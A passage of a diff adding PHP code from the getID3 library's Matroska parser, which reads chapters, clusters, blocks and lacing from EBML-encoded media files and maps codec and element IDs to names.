+													case EBML_ID_EDITIONFLAGHIDDEN:
+													case EBML_ID_EDITIONFLAGDEFAULT:
+													case EBML_ID_EDITIONFLAGORDERED:
+														$editionentry_entry[$sub_subelement['id_name']] = (bool)getid3_lib::BigEndian2Int($sub_subelement['data']);
+														break;
+
+													case EBML_ID_CHAPTERATOM:
+														$chapteratom_entry = array();
+
+														while ($this->getEBMLelement($sub_sub_subelement, $sub_subelement['end'], array(EBML_ID_CHAPTERTRACK, EBML_ID_CHAPTERDISPLAY))) {
+															switch ($sub_sub_subelement['id']) {
+
+																case EBML_ID_CHAPTERSEGMENTUID:
+																case EBML_ID_CHAPTERSEGMENTEDITIONUID:
+																	$chapteratom_entry[$sub_sub_subelement['id_name']] = $sub_sub_subelement['data'];
+																	break;
+
+																case EBML_ID_CHAPTERFLAGENABLED:
+																case EBML_ID_CHAPTERFLAGHIDDEN:
+																	$chapteratom_entry[$sub_sub_subelement['id_name']] = (bool)getid3_lib::BigEndian2Int($sub_sub_subelement['data']);
+																	break;
+
+																case EBML_ID_CHAPTERUID:
+																case EBML_ID_CHAPTERTIMESTART:
+																case EBML_ID_CHAPTERTIMEEND:
+																	$chapteratom_entry[$sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_subelement['data']);
+																	break;
+
+																case EBML_ID_CHAPTERTRACK:
+																	$chaptertrack_entry = array();
+
+																	while ($this->getEBMLelement($sub_sub_sub_subelement, $sub_sub_subelement['end'], true)) {
+																		switch ($sub_sub_sub_subelement['id']) {
+
+																			case EBML_ID_CHAPTERTRACKNUMBER:
+																				$chaptertrack_entry[$sub_sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_sub_subelement['data']);
+																				break;
+
+																			default:
+																				$this->unhandledElement('chapters.editionentry.chapteratom.chaptertrack', __LINE__, $sub_sub_sub_subelement);
+																				break;
+																		}
+																	}
+																	$chapteratom_entry[$sub_sub_subelement['id_name']][] = $chaptertrack_entry;
+																	break;
+
+																case EBML_ID_CHAPTERDISPLAY:
+																	$chapterdisplay_entry = array();
+
+																	while ($this->getEBMLelement($sub_sub_sub_subelement, $sub_sub_subelement['end'], true)) {
+																		switch ($sub_sub_sub_subelement['id']) {
+
+																			case EBML_ID_CHAPSTRING:
+																			case EBML_ID_CHAPLANGUAGE:
+																			case EBML_ID_CHAPCOUNTRY:
+																				$chapterdisplay_entry[$sub_sub_sub_subelement['id_name']] = $sub_sub_sub_subelement['data'];
+																				break;
+
+																			default:
+																				$this->unhandledElement('chapters.editionentry.chapteratom.chapterdisplay', __LINE__, $sub_sub_sub_subelement);
+																				break;
+																		}
+																	}
+																	$chapteratom_entry[$sub_sub_subelement['id_name']][] = $chapterdisplay_entry;
+																	break;
+
+																default:
+																	$this->unhandledElement('chapters.editionentry.chapteratom', __LINE__, $sub_sub_subelement);
+																	break;
+															}
+														}
+														$editionentry_entry[$sub_subelement['id_name']][] = $chapteratom_entry;
+														break;
+
+													default:
+														$this->unhandledElement('chapters.editionentry', __LINE__, $sub_subelement);
+														break;
+												}
+											}
+											$info['matroska']['chapters'][] = $editionentry_entry;
+											break;
+
+										default:
+											$this->unhandledElement('chapters', __LINE__, $subelement);
+											break;
+									}
+								}
+								break;
+
+							case EBML_ID_CLUSTER: // The lower level element containing the (monolithic) Block structure.
+								$cluster_entry = array();
+
+								while ($this->getEBMLelement($subelement, $element_data['end'], array(EBML_ID_CLUSTERSILENTTRACKS, EBML_ID_CLUSTERBLOCKGROUP, EBML_ID_CLUSTERSIMPLEBLOCK))) {
+									switch ($subelement['id']) {
+
+										case EBML_ID_CLUSTERTIMECODE:
+										case EBML_ID_CLUSTERPOSITION:
+										case EBML_ID_CLUSTERPREVSIZE:
+											$cluster_entry[$subelement['id_name']] = getid3_lib::BigEndian2Int($subelement['data']);
+											break;
+
+										case EBML_ID_CLUSTERSILENTTRACKS:
+											$cluster_silent_tracks = array();
+
+											while ($this->getEBMLelement($sub_subelement, $subelement['end'], true)) {
+												switch ($sub_subelement['id']) {
+
+													case EBML_ID_CLUSTERSILENTTRACKNUMBER:
+														$cluster_silent_tracks[] = getid3_lib::BigEndian2Int($sub_subelement['data']);
+														break;
+
+													default:
+														$this->unhandledElement('cluster.silenttracks', __LINE__, $sub_subelement);
+														break;
+												}
+											}
+											$cluster_entry[$subelement['id_name']][] = $cluster_silent_tracks;
+											break;
+
+										case EBML_ID_CLUSTERBLOCKGROUP:
+											$cluster_block_group = array('offset' => $this->current_offset);
+
+											while ($this->getEBMLelement($sub_subelement, $subelement['end'], array(EBML_ID_CLUSTERBLOCK))) {
+												switch ($sub_subelement['id']) {
+
+													case EBML_ID_CLUSTERBLOCK:
+														$cluster_block_group[$sub_subelement['id_name']] = $this->HandleEMBLClusterBlock($sub_subelement, EBML_ID_CLUSTERBLOCK, $info);
+														break;
+
+													case EBML_ID_CLUSTERREFERENCEPRIORITY: // unsigned-int
+													case EBML_ID_CLUSTERBLOCKDURATION:     // unsigned-int
+														$cluster_block_group[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']);
+														break;
+
+													case EBML_ID_CLUSTERREFERENCEBLOCK:    // signed-int
+														$cluster_block_group[$sub_subelement['id_name']][] = getid3_lib::BigEndian2Int($sub_subelement['data'], false, true);
+														break;
+
+													case EBML_ID_CLUSTERCODECSTATE:
+														$cluster_block_group[$sub_subelement['id_name']] = getid3_lib::trimNullByte($sub_subelement['data']);
+														break;
+
+													default:
+														$this->unhandledElement('clusters.blockgroup', __LINE__, $sub_subelement);
+														break;
+												}
+											}
+											$cluster_entry[$subelement['id_name']][] = $cluster_block_group;
+											break;
+
+										case EBML_ID_CLUSTERSIMPLEBLOCK:
+											$cluster_entry[$subelement['id_name']][] = $this->HandleEMBLClusterBlock($subelement, EBML_ID_CLUSTERSIMPLEBLOCK, $info);
+											break;
+
+										default:
+											$this->unhandledElement('cluster', __LINE__, $subelement);
+											break;
+									}
+									$this->current_offset = $subelement['end'];
+								}
+								if (!self::$hide_clusters) {
+									$info['matroska']['cluster'][] = $cluster_entry;
+								}
+
+								// check to see if all the data we need exists already, if so, break out of the loop
+								if (!self::$parse_whole_file) {
+									if (isset($info['matroska']['info']) && is_array($info['matroska']['info'])) {
+										if (isset($info['matroska']['tracks']['tracks']) && is_array($info['matroska']['tracks']['tracks'])) {
+											if (count($info['matroska']['track_data_offsets']) == count($info['matroska']['tracks']['tracks'])) {
+												return;
+											}
+										}
+									}
+								}
+								break;
+
+							default:
+								$this->unhandledElement('segment', __LINE__, $element_data);
+								break;
+						}
+					}
+					break;
+
+				default:
+					$this->unhandledElement('root', __LINE__, $top_element);
+					break;
+			}
+		}
+	}
+
+	private function EnsureBufferHasEnoughData($min_data=1024) {
+		if (($this->current_offset - $this->EBMLbuffer_offset) >= ($this->EBMLbuffer_length - $min_data)) {
+			$read_bytes = max($min_data, $this->getid3->fread_buffer_size());
+
+			try {
+				$this->fseek($this->current_offset);
+				$this->EBMLbuffer_offset = $this->current_offset;
+				$this->EBMLbuffer        = $this->fread($read_bytes);
+				$this->EBMLbuffer_length = strlen($this->EBMLbuffer);
+			} catch (getid3_exception $e) {
+				$this->warning('EBML parser: '.$e->getMessage());
+				return false;
+			}
+
+			if ($this->EBMLbuffer_length == 0 && $this->feof()) {
+				return $this->error('EBML parser: ran out of file at offset '.$this->current_offset);
+			}
+		}
+		return true;
+	}
+
+	private function readEBMLint() {
+		$actual_offset = $this->current_offset - $this->EBMLbuffer_offset;
+
+		// get length of integer
+		$first_byte_int = ord($this->EBMLbuffer[$actual_offset]);
+		if       (0x80 & $first_byte_int) {
+			$length = 1;
+		} elseif (0x40 & $first_byte_int) {
+			$length = 2;
+		} elseif (0x20 & $first_byte_int) {
+			$length = 3;
+		} elseif (0x10 & $first_byte_int) {
+			$length = 4;
+		} elseif (0x08 & $first_byte_int) {
+			$length = 5;
+		} elseif (0x04 & $first_byte_int) {
+			$length = 6;
+		} elseif (0x02 & $first_byte_int) {
+			$length = 7;
+		} elseif (0x01 & $first_byte_int) {
+			$length = 8;
+		} else {
+			throw new Exception('invalid EBML integer (leading 0x00) at '.$this->current_offset);
+		}
+
+		// read
+		$int_value = self::EBML2Int(substr($this->EBMLbuffer, $actual_offset, $length));
+		$this->current_offset += $length;
+
+		return $int_value;
+	}
+
+	private function readEBMLelementData($length, $check_buffer=false) {
+		if ($check_buffer && !$this->EnsureBufferHasEnoughData($length)) {
+			return false;
+		}
+		$data = substr($this->EBMLbuffer, $this->current_offset - $this->EBMLbuffer_offset, $length);
+		$this->current_offset += $length;
+		return $data;
+	}
+
+	private function getEBMLelement(&$element, $parent_end, $get_data=false) {
+		if ($this->current_offset >= $parent_end) {
+			return false;
+		}
+
+		if (!$this->EnsureBufferHasEnoughData()) {
+			$this->current_offset = PHP_INT_MAX; // do not exit parser right now, allow to finish current loop to gather maximum information
+			return false;
+		}
+
+		$element = array();
+
+		// set offset
+		$element['offset'] = $this->current_offset;
+
+		// get ID
+		$element['id'] = $this->readEBMLint();
+
+		// get name
+		$element['id_name'] = self::EBMLidName($element['id']);
+
+		// get length
+		$element['length'] = $this->readEBMLint();
+
+		// get end offset
+		$element['end'] = $this->current_offset + $element['length'];
+
+		// get raw data
+		$dont_parse = (in_array($element['id'], $this->unuseful_elements) || $element['id_name'] == dechex($element['id']));
+		if (($get_data === true || (is_array($get_data) && !in_array($element['id'], $get_data))) && !$dont_parse) {
+			$element['data'] = $this->readEBMLelementData($element['length'], $element);
+		}
+
+		return true;
+	}
+
+	private function unhandledElement($type, $line, $element) {
+		// warn only about unknown and missed elements, not about unuseful
+		if (!in_array($element['id'], $this->unuseful_elements)) {
+			$this->warning('Unhandled '.$type.' element ['.basename(__FILE__).':'.$line.'] ('.$element['id'].'::'.$element['id_name'].' ['.$element['length'].' bytes]) at '.$element['offset']);
+		}
+
+		// increase offset for unparsed elements
+		if (!isset($element['data'])) {
+			$this->current_offset = $element['end'];
+		}
+	}
+
+	private function ExtractCommentsSimpleTag($SimpleTagArray) {
+		if (!empty($SimpleTagArray['SimpleTag'])) {
+			foreach ($SimpleTagArray['SimpleTag'] as $SimpleTagKey => $SimpleTagData) {
+				if (!empty($SimpleTagData['TagName']) && !empty($SimpleTagData['TagString'])) {
+					$this->getid3->info['matroska']['comments'][strtolower($SimpleTagData['TagName'])][] = $SimpleTagData['TagString'];
+				}
+				if (!empty($SimpleTagData['SimpleTag'])) {
+					$this->ExtractCommentsSimpleTag($SimpleTagData);
+				}
+			}
+		}
+
+		return true;
+	}
+
+	private function HandleEMBLSimpleTag($parent_end) {
+		$simpletag_entry = array();
+
+		while ($this->getEBMLelement($element, $parent_end, array(EBML_ID_SIMPLETAG))) {
+			switch ($element['id']) {
+
+				case EBML_ID_TAGNAME:
+				case EBML_ID_TAGLANGUAGE:
+				case EBML_ID_TAGSTRING:
+				case EBML_ID_TAGBINARY:
+					$simpletag_entry[$element['id_name']] = $element['data'];
+					break;
+
+				case EBML_ID_SIMPLETAG:
+					$simpletag_entry[$element['id_name']][] = $this->HandleEMBLSimpleTag($element['end']);
+					break;
+
+				case EBML_ID_TAGDEFAULT:
+					$simpletag_entry[$element['id_name']] = (bool)getid3_lib::BigEndian2Int($element['data']);
+					break;
+
+				default:
+					$this->unhandledElement('tag.simpletag', __LINE__, $element);
+					break;
+			}
+		}
+
+		return $simpletag_entry;
+	}
+
+	private function HandleEMBLClusterBlock($element, $block_type, &$info) {
+		// http://www.matroska.org/technical/specs/index.html#block_structure
+		// http://www.matroska.org/technical/specs/index.html#simpleblock_structure
+
+		$block_data = array();
+		$block_data['tracknumber'] = $this->readEBMLint();
+		$block_data['timecode']    = getid3_lib::BigEndian2Int($this->readEBMLelementData(2), false, true);
+		$block_data['flags_raw']   = getid3_lib::BigEndian2Int($this->readEBMLelementData(1));
+
+		if ($block_type == EBML_ID_CLUSTERSIMPLEBLOCK) {
+			$block_data['flags']['keyframe']  = (($block_data['flags_raw'] & 0x80) >> 7);
+			//$block_data['flags']['reserved1'] = (($block_data['flags_raw'] & 0x70) >> 4);
+		}
+		else {
+			//$block_data['flags']['reserved1'] = (($block_data['flags_raw'] & 0xF0) >> 4);
+		}
+		$block_data['flags']['invisible'] = (bool)(($block_data['flags_raw'] & 0x08) >> 3);
+		$block_data['flags']['lacing']    =       (($block_data['flags_raw'] & 0x06) >> 1);  // 00=no lacing; 01=Xiph lacing; 11=EBML lacing; 10=fixed-size lacing
+		if ($block_type == EBML_ID_CLUSTERSIMPLEBLOCK) {
+			$block_data['flags']['discardable'] = (($block_data['flags_raw'] & 0x01));
+		}
+		else {
+			//$block_data['flags']['reserved2'] = (($block_data['flags_raw'] & 0x01) >> 0);
+		}
+		$block_data['flags']['lacing_type'] = self::BlockLacingType($block_data['flags']['lacing']);
+
+		// Lace (when lacing bit is set)
+		if ($block_data['flags']['lacing'] > 0) {
+			$block_data['lace_frames'] = getid3_lib::BigEndian2Int($this->readEBMLelementData(1)) + 1; // Number of frames in the lace-1 (uint8)
+			if ($block_data['flags']['lacing'] != 0x02) {
+				for ($i = 1; $i < $block_data['lace_frames']; $i ++) { // Lace-coded size of each frame of the lace, except for the last one (multiple uint8). *This is not used with Fixed-size lacing as it is calculated automatically from (total size of lace) / (number of frames in lace).
+					if ($block_data['flags']['lacing'] == 0x03) { // EBML lacing
+						$block_data['lace_frames_size'][$i] = $this->readEBMLint(); // TODO: read size correctly, calc size for the last frame. For now offsets are deteminded OK with readEBMLint() and that's the most important thing.
+					}
+					else { // Xiph lacing
+						$block_data['lace_frames_size'][$i] = 0;
+						do {
+							$size = getid3_lib::BigEndian2Int($this->readEBMLelementData(1));
+							$block_data['lace_frames_size'][$i] += $size;
+						}
+						while ($size == 255);
+					}
+				}
+				if ($block_data['flags']['lacing'] == 0x01) { // calc size of the last frame only for Xiph lacing, till EBML sizes are now anyway determined incorrectly
+					$block_data['lace_frames_size'][] = $element['end'] - $this->current_offset - array_sum($block_data['lace_frames_size']);
+				}
+			}
+		}
+
+		if (!isset($info['matroska']['track_data_offsets'][$block_data['tracknumber']])) {
+			$info['matroska']['track_data_offsets'][$block_data['tracknumber']]['offset'] = $this->current_offset;
+			$info['matroska']['track_data_offsets'][$block_data['tracknumber']]['length'] = $element['end'] - $this->current_offset;
+			//$info['matroska']['track_data_offsets'][$block_data['tracknumber']]['total_length'] = 0;
+		}
+		//$info['matroska']['track_data_offsets'][$block_data['tracknumber']]['total_length'] += $info['matroska']['track_data_offsets'][$block_data['tracknumber']]['length'];
+		//$info['matroska']['track_data_offsets'][$block_data['tracknumber']]['duration']      = $block_data['timecode'] * ((isset($info['matroska']['info'][0]['TimecodeScale']) ? $info['matroska']['info'][0]['TimecodeScale'] : 1000000) / 1000000000);
+
+		// set offset manually
+		$this->current_offset = $element['end'];
+
+		return $block_data;
+	}
+
+	private static function EBML2Int($EBMLstring) {
+		// http://matroska.org/specs/
+
+		// Element ID coded with an UTF-8 like system:
+		// 1xxx xxxx                                  - Class A IDs (2^7 -2 possible values) (base 0x8X)
+		// 01xx xxxx  xxxx xxxx                       - Class B IDs (2^14-2 possible values) (base 0x4X 0xXX)
+		// 001x xxxx  xxxx xxxx  xxxx xxxx            - Class C IDs (2^21-2 possible values) (base 0x2X 0xXX 0xXX)
+		// 0001 xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx - Class D IDs (2^28-2 possible values) (base 0x1X 0xXX 0xXX 0xXX)
+		// Values with all x at 0 and 1 are reserved (hence the -2).
+
+		// Data size, in octets, is also coded with an UTF-8 like system :
+		// 1xxx xxxx                                                                              - value 0 to  2^7-2
+		// 01xx xxxx  xxxx xxxx                                                                   - value 0 to 2^14-2
+		// 001x xxxx  xxxx xxxx  xxxx xxxx                                                        - value 0 to 2^21-2
+		// 0001 xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx                                             - value 0 to 2^28-2
+		// 0000 1xxx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx                                  - value 0 to 2^35-2
+		// 0000 01xx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx                       - value 0 to 2^42-2
+		// 0000 001x  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx            - value 0 to 2^49-2
+		// 0000 0001  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx - value 0 to 2^56-2
+
+		$first_byte_int = ord($EBMLstring[0]);
+		if (0x80 & $first_byte_int) {
+			$EBMLstring[0] = chr($first_byte_int & 0x7F);
+		} elseif (0x40 & $first_byte_int) {
+			$EBMLstring[0] = chr($first_byte_int & 0x3F);
+		} elseif (0x20 & $first_byte_int) {
+			$EBMLstring[0] = chr($first_byte_int & 0x1F);
+		} elseif (0x10 & $first_byte_int) {
+			$EBMLstring[0] = chr($first_byte_int & 0x0F);
+		} elseif (0x08 & $first_byte_int) {
+			$EBMLstring[0] = chr($first_byte_int & 0x07);
+		} elseif (0x04 & $first_byte_int) {
+			$EBMLstring[0] = chr($first_byte_int & 0x03);
+		} elseif (0x02 & $first_byte_int) {
+			$EBMLstring[0] = chr($first_byte_int & 0x01);
+		} elseif (0x01 & $first_byte_int) {
+			$EBMLstring[0] = chr($first_byte_int & 0x00);
+		}
+
+		return getid3_lib::BigEndian2Int($EBMLstring);
+	}
+
+	private static function EBMLdate2unix($EBMLdatestamp) {
+		// Date - signed 8 octets integer in nanoseconds with 0 indicating the precise beginning of the millennium (at 2001-01-01T00:00:00,000000000 UTC)
+		// 978307200 == mktime(0, 0, 0, 1, 1, 2001) == January 1, 2001 12:00:00am UTC
+		return round(($EBMLdatestamp / 1000000000) + 978307200);
+	}
+
+	public static function TargetTypeValue($target_type) {
+		// http://www.matroska.org/technical/specs/tagging/index.html
+		static $TargetTypeValue = array();
+		if (empty($TargetTypeValue)) {
+			$TargetTypeValue[10] = 'A: ~ V:shot';                                           // the lowest hierarchy found in music or movies
+			$TargetTypeValue[20] = 'A:subtrack/part/movement ~ V:scene';                    // corresponds to parts of a track for audio (like a movement)
+			$TargetTypeValue[30] = 'A:track/song ~ V:chapter';                              // the common parts of an album or a movie
+			$TargetTypeValue[40] = 'A:part/session ~ V:part/session';                       // when an album or episode has different logical parts
+			$TargetTypeValue[50] = 'A:album/opera/concert ~ V:movie/episode/concert';       // the most common grouping level of music and video (equals to an episode for TV series)
+			$TargetTypeValue[60] = 'A:edition/issue/volume/opus ~ V:season/sequel/volume';  // a list of lower levels grouped together
+			$TargetTypeValue[70] = 'A:collection ~ V:collection';                           // the high hierarchy consisting of many different lower items
+		}
+		return (isset($TargetTypeValue[$target_type]) ? $TargetTypeValue[$target_type] : $target_type);
+	}
+
+	public static function BlockLacingType($lacingtype) {
+		// http://matroska.org/technical/specs/index.html#block_structure
+		static $BlockLacingType = array();
+		if (empty($BlockLacingType)) {
+			$BlockLacingType[0x00] = 'no lacing';
+			$BlockLacingType[0x01] = 'Xiph lacing';
+			$BlockLacingType[0x02] = 'fixed-size lacing';
+			$BlockLacingType[0x03] = 'EBML lacing';
+		}
+		return (isset($BlockLacingType[$lacingtype]) ? $BlockLacingType[$lacingtype] : $lacingtype);
+	}
+
+	public static function CodecIDtoCommonName($codecid) {
+		// http://www.matroska.org/technical/specs/codecid/index.html
+		static $CodecIDlist = array();
+		if (empty($CodecIDlist)) {
+			$CodecIDlist['A_AAC']            = 'aac';
+			$CodecIDlist['A_AAC/MPEG2/LC']   = 'aac';
+			$CodecIDlist['A_AC3']            = 'ac3';
+			$CodecIDlist['A_EAC3']           = 'eac3';
+			$CodecIDlist['A_DTS']            = 'dts';
+			$CodecIDlist['A_FLAC']           = 'flac';
+			$CodecIDlist['A_MPEG/L1']        = 'mp1';
+			$CodecIDlist['A_MPEG/L2']        = 'mp2';
+			$CodecIDlist['A_MPEG/L3']        = 'mp3';
+			$CodecIDlist['A_PCM/INT/LIT']    = 'pcm';       // PCM Integer Little Endian
+			$CodecIDlist['A_PCM/INT/BIG']    = 'pcm';       // PCM Integer Big Endian
+			$CodecIDlist['A_QUICKTIME/QDMC'] = 'quicktime'; // Quicktime: QDesign Music
+			$CodecIDlist['A_QUICKTIME/QDM2'] = 'quicktime'; // Quicktime: QDesign Music v2
+			$CodecIDlist['A_VORBIS']         = 'vorbis';
+			$CodecIDlist['V_MPEG1']          = 'mpeg';
+			$CodecIDlist['V_THEORA']         = 'theora';
+			$CodecIDlist['V_REAL/RV40']      = 'real';
+			$CodecIDlist['V_REAL/RV10']      = 'real';
+			$CodecIDlist['V_REAL/RV20']      = 'real';
+			$CodecIDlist['V_REAL/RV30']      = 'real';
+			$CodecIDlist['V_QUICKTIME']      = 'quicktime'; // Quicktime
+			$CodecIDlist['V_MPEG4/ISO/AP']   = 'mpeg4';
+			$CodecIDlist['V_MPEG4/ISO/ASP']  = 'mpeg4';
+			$CodecIDlist['V_MPEG4/ISO/AVC']  = 'h264';
+			$CodecIDlist['V_MPEG4/ISO/SP']   = 'mpeg4';
+			$CodecIDlist['V_VP8']            = 'vp8';
+			$CodecIDlist['V_MS/VFW/FOURCC']  = 'vcm'; // Microsoft (TM) Video Codec Manager (VCM)
+			$CodecIDlist['A_MS/ACM']         = 'acm'; // Microsoft (TM) Audio Codec Manager (ACM)
+		}
+		return (isset($CodecIDlist[$codecid]) ? $CodecIDlist[$codecid] : $codecid);
+	}
+
+	private static function EBMLidName($value) {
+		static $EBMLidList = array();
+		if (empty($EBMLidList)) {
+			$EBMLidList[EBML_ID_ASPECTRATIOTYPE]            = 'AspectRatioType';
+			$EBMLidList[EBML_ID_ATTACHEDFILE]               = 'AttachedFile';
+			$EBMLidList[EBML_ID_ATTACHMENTLINK]             = 'AttachmentLink';
+			$EBMLidList[EBML_ID_ATTACHMENTS]                = 'Attachments';
+			$EBMLidList[EBML_ID_AUDIO]                      = 'Audio';
+			$EBMLidList[EBML_ID_BITDEPTH]                   = 'BitDepth';
+			$EBMLidList[EBML_ID_CHANNELPOSITIONS]           = 'ChannelPositions';
+			$EBMLidList[EBML_ID_CHANNELS]                   = 'Channels';
+			$EBMLidList[EBML_ID_CHAPCOUNTRY]                = 'ChapCountry';
+			$EBMLidList[EBML_ID_CHAPLANGUAGE]               = 'ChapLanguage';
+			$EBMLidList[EBML_ID_CHAPPROCESS]                = 'ChapProcess';
+			$EBMLidList[EBML_ID_CHAPPROCESSCODECID]         = 'ChapProcessCodecID';
+			$EBMLidList[EBML_ID_CHAPPROCESSCOMMAND]         = 'ChapProcessCommand';
+			$EBMLidList[EBML_ID_CHAPPROCESSDATA]            = 'ChapProcessData';
+			$EBMLidList[EBML_ID_CHAPPROCESSPRIVATE]         = 'ChapProcessPrivate';
+			$EBMLidList[EBML_ID_CHAPPROCESSTIME]            = 'ChapProcessTime';
+			$EBMLidList[EBML_ID_CHAPSTRING]                 = 'ChapString';
+			$EBMLidList[EBML_ID_CHAPTERATOM]                = 'ChapterAtom';
+			$EBMLidList[EBML_ID_CHAPTERDISPLAY]             = 'ChapterDisplay';
+			$EBMLidList[EBML_ID_CHAPTERFLAGENABLED]         = 'ChapterFlagEnabled';
+			$EBMLidList[EBML_ID_CHAPTERFLAGHIDDEN]          = 'ChapterFlagHidden';
+			$EBMLidList[EBML_ID_CHAPTERPHYSICALEQUIV]       = 'ChapterPhysicalEquiv';
+			$EBMLidList[EBML_ID_CHAPTERS]                   = 'Chapters';
+			$EBMLidList[EBML_ID_CHAPTERSEGMENTEDITIONUID]   = 'ChapterSegmentEditionUID';
+			$EBMLidList[EBML_ID_CHAPTERSEGMENTUID]          = 'ChapterSegmentUID';
+			$EBMLidList[EBML_ID_CHAPTERTIMEEND]             = 'ChapterTimeEnd';
+			$EBMLidList[EBML_ID_CHAPTERTIMESTART]           = 'ChapterTimeStart';
+			$EBMLidList[EBML_ID_CHAPTERTRACK]               = 'ChapterTrack';
+			$EBMLidList[EBML_ID_CHAPTERTRACKNUMBER]         = 'ChapterTrackNumber';
+			$EBMLidList[EBML_ID_CHAPTERTRANSLATE]           = 'ChapterTranslate';
+			$EBMLidList[EBML_ID_CHAPTERTRANSLATECODEC]      = 'ChapterTranslateCodec';
+			$EBMLidList[EBML_ID_CHAPTERTRANSLATEEDITIONUID] = 'ChapterTranslateEditionUID';
+			$EBMLidList[EBML_ID_CHAPTERTRANSLATEID]         = 'ChapterTranslateID';
+			$EBMLidList[EBML_ID_CHAPTERUID]                 = 'ChapterUID';
+			$EBMLidList[EBML_ID_CLUSTER]                    = 'Cluster';
+			$EBMLidList[EBML_ID_CLUSTERBLOCK]               = 'ClusterBlock';
+			$EBMLidList[EBML_ID_CLUSTERBLOCKADDID]          = 'ClusterBlockAddID';
+			$EBMLidList[EBML_ID_CLUSTERBLOCKADDITIONAL]     = 'ClusterBlockAdditional';
+			$EBMLidList[EBML_ID_CLUSTERBLOCKADDITIONID]     = 'ClusterBlockAdditionID';
+			$EBMLidList[EBML_ID_CLUSTERBLOCKADDITIONS]      = 'ClusterBlockAdditions';
+			$EBMLidList[EBML_ID_CLUSTERBLOCKDURATION]       = 'ClusterBlockDuration';
+			$EBMLidList[EBML_ID_CLUSTERBLOCKGROUP]          = 'ClusterBlockGroup';
+			$EBMLidList[EBML_ID_CLUSTERBLOCKMORE]           = 'ClusterBlockMore';
+			$EBMLidList[EBML_ID_CLUSTERBLOCKVIRTUAL]        = 'ClusterBlockVirtual';
+			$EBMLidList[EBML_ID_CLUSTERCODECSTATE]          = 'ClusterCodecState';
+			$EBMLidList[EBML_ID_CLUSTERDELAY]               = 'ClusterDelay';
+			$EBMLidList[EBML_ID_CLUSTERDURATION]            = 'ClusterDuration';
+			$EBMLidList[EBML_ID_CLUSTERENCRYPTEDBLOCK]      = 'ClusterEncryptedBlock';
+			$EBMLidList[EBML_ID_CLUSTERFRAMENUMBER]         = 'ClusterFrameNumber';
+			$EBMLidList[EBML_ID_CLUSTERLACENUMBER]          = 'ClusterLaceNumber';
+			$EBMLidList[EBML_ID_CLUSTERPOSITION]            = 'ClusterPosition';
+			$EBMLidList[EBML_ID_CLUSTERPREVSIZE]            = 'ClusterPrevSize';
+			$EBMLidList[EBML_ID_CLUSTERREFERENCEBLOCK]      = 'ClusterReferenceBlock';
+			$EBMLidList[EBML_ID_CLUSTERREFERENCEPRIORITY]   = 'ClusterReferencePriority';
+			$EBMLidList[EBML_ID_CLUSTERREFERENCEVIRTUAL]    = 'ClusterReferenceVirtual';
+			$EBMLidList[EBML_ID_CLUSTERSILENTTRACKNUMBER]   = 'ClusterSilentTrackNumber';
+			$EBMLidList[EBML_ID_CLUSTERSILENTTRACKS]        = 'ClusterSilentTracks';
+			$EBMLidList[EBML_ID_CLUSTERSIMPLEBLOCK]         = 'ClusterSimpleBlock';
+			$EBMLidList[EBML_ID_CLUSTERTIMECODE]            = 'ClusterTimecode';
+			$EBMLidList[EBML_ID_CLUSTERTIMESLICE]           = 'ClusterTimeSlice';
+			$EBMLidList[EBML_ID_CODECDECODEALL]             = 'CodecDecodeAll';
+			$EBMLidList[EBML_ID_CODECDOWNLOADURL]           = 'CodecDownloadURL';
+			$EBMLidList[EBML_ID_CODECID]                    = 'CodecID';
+			$EBMLidList[EBML_ID_CODECINFOURL]               = 'CodecInfoURL';
+			$EBMLidList[EBML_ID_CODECNAME]                  = 'CodecName';
+			$EBMLidList[EBML_ID_CODECPRIVATE]               = 'CodecPrivate';
+			$EBMLidList[EBML_ID_CODECSETTINGS]              = 'CodecSettings';
+			$EBMLidList[EBML_ID_COLOURSPACE]                = 'ColourSpace';
+			$EBMLidList[EBML_ID_CONTENTCOMPALGO]            = 'ContentCompAlgo';
+			$EBMLidList[EBML_ID_CONTENTCOMPRESSION]         = 'ContentCompression';
+			$EBMLidList[EBML_ID_CONTENTCOMPSETTINGS]        = 'ContentCompSettings';
+			$EBMLidList[EBML_ID_CONTENTENCALGO]             = 'ContentEncAlgo';
+			$EBMLidList[EBML_ID_CONTENTENCKEYID]            = 'ContentEncKeyID';
+			$EBMLidList[EBML_ID_CONTENTENCODING]            = 'ContentEncoding';
+			$EBMLidList[EBML_ID_CONTENTENCODINGORDER]       = 'ContentEncodingOrder';
+			$EBMLidList[EBML_ID_CONTENTENCODINGS]           = 'ContentEncodings';
+			$EBMLidList[EBML_ID_CONTENTENCODINGSCOPE]       = 'ContentEncodingScope';
+			$EBMLidList[EBML_ID_CONTENTENCODINGTYPE]        = 'ContentEncodingType';
+			$EBMLidList[EBML_ID_CONTENTENCRYPTION]          = 'ContentEncryption';
+			$EBMLidList[EBML_ID_CONTENTSIGALGO]             = 'ContentSigAlgo';
+			$EBMLidList[EBML_ID_CONTENTSIGHASHALGO]         = 'ContentSigHashAlgo';
+			$EBMLidList[EBML_ID_CONTENTSIGKEYID]            = 'ContentSigKeyID';
+			$EBMLidList[EBML_ID_CONTENTSIGNATURE]           = 'ContentSignature';
+			$EBMLidList[EBML_ID_CRC32]                      = 'CRC32';
+			$EBMLidList[EBML_ID_CUEBLOCKNUMBER]             = 'CueBlockNumber';
+			$EBMLidList[EBML_ID_CUECLUSTERPOSITION]         = 'CueClusterPosition';
+			$EBMLidList[EBML_ID_CUECODECSTATE]              = 'CueCodecState';
+			$EBMLidList[EBML_ID_CUEPOINT]                   = 'CuePoint';
+			$EBMLidList[EBML_ID_CUEREFCLUSTER]              = 'CueRefCluster';
+			$EBMLidList[EBML_ID_CUEREFCODECSTATE]           = 'CueRefCodecState';
+			$EBMLidList[EBML_ID_CUEREFERENCE]               = 'CueReference';
+			$EBMLidList[EBML_ID_CUEREFNUMBER]               = 'CueRefNumber';
+			$EBMLidList[EBML_ID_CUEREFTIME]                 = 'CueRefTime';
